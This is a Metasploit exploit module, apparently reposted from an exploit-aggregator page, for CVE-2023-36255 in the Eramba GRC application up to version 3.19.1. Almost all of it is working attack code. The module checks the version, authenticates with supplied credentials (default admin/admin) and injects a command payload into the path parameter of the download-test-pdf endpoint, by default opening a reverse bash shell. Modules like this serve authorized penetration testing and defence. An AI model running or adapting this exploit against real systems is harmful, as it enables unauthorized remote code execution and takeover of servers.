Share
## https://sploitus.com/exploit?id=PACKETSTORM:190048
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Eramba (up to 3.19.1) Authenticated Remote Code Execution Module',
            'Description' => %q{
              This module exploits a remote code execution vulnerability in Eramba.
              An authenticated user can execute arbitrary commands on the server by
              exploiting the path parameter in the download-test-pdf endpoint.
              Eramba debug mode has to be enabled.
            },
            'Author' => [
              'Trovent Security GmbH',
              'Sergey Makarov',        # vulnerability discovery and exploit
              'Stefan Pietsch',        # CVE and Advisory
              'Niklas Rubel', # MSF module
              'msutovsky-r7' # MSF module
            ],
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => []
            },
            'Platform' => ['unix', 'linux'],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [
                'Command',
                {
                  'Platform' => ['unix', 'linux'],
                  'Arch' => ARCH_CMD,
                  'DefaultOptions' => {
                    'PAYLOAD' => 'cmd/unix/reverse_bash'
                  }
                }
              ],
            ],
            'DefaultTarget' => 0,
    
            'References' => [
              ['CVE', '2023-36255'],
              ['URL', 'https://trovent.github.io/security-advisories/TRSA-2303-01/TRSA-2303-01.txt']
            ],
            'DisclosureDate' => '2023-08-01',
            'DefaultOptions' => {
              'RPORT' => 8443,
              'SSL' => true
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']),
            OptString.new('USERNAME', [ true, 'The username to authenticate with', 'admin']),
            OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin']),
          ]
        )
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('/login')
        })
    
        return Exploit::CheckCode::Unknown unless res&.code == 200
    
        html_body = res.get_html_document
        version_html = html_body.at('//p[contains(text(), "App version")]/strong')&.text
        return Exploit::CheckCode::Unknown unless version_html
    
        return Exploit::CheckCode::Safe('Debug mode not enabled.') unless html_body.at('input[@name="_Token[debug]"]')
    
        version = Rex::Version.new(version_html)
    
        return Exploit::CheckCode::Appears("Eramba Version #{version} is affected.") if version <= Rex::Version.new('3.19.1')
    
        return Exploit::CheckCode::Safe("Eramba Version #{version} is not affected.")
      end
    
      def exploit
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('/login'),
          'keep_cookies' => true
        })
    
        html_body = res.get_html_document
        csrf_token = html_body.at('input[@name="_csrfToken"]')
        token_fields = html_body.at('input[@name="_Token[fields]"]')
        token_unlocked = html_body.at('input[@name="_Token[unlocked]"]')
        token_debug = html_body.at('input[@name="_Token[debug]"]')
    
        fail_with(Failure::UnexpectedReply, 'Couldn\'t parse tokens') unless token_fields && token_unlocked && token_debug && csrf_token
    
        res = send_request_cgi!({
          'method' => 'POST',
          'uri' => normalize_uri('/login'),
          'keep_cookies' => true,
          'vars_post' => {
            '_csrfToken' => csrf_token['value'],
            'login' => datastore['USERNAME'],
            'password' => datastore['PASSWORD'],
            '_Token[fields]' => token_fields['value'],
            '_Token[unlocked]' => token_unlocked['value'],
            '_Token[debug]' => token_debug['value']
          }
        })
    
        fail_with(Failure::UnexpectedReply, 'Failed to login') unless res&.code == 200 && res.body.include?('Landing Dashboard')
    
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri('/settings/download-test-pdf'),
          'vars_get' =>
          {
            'path' => payload.encoded.to_s
          }
        })
      end
    end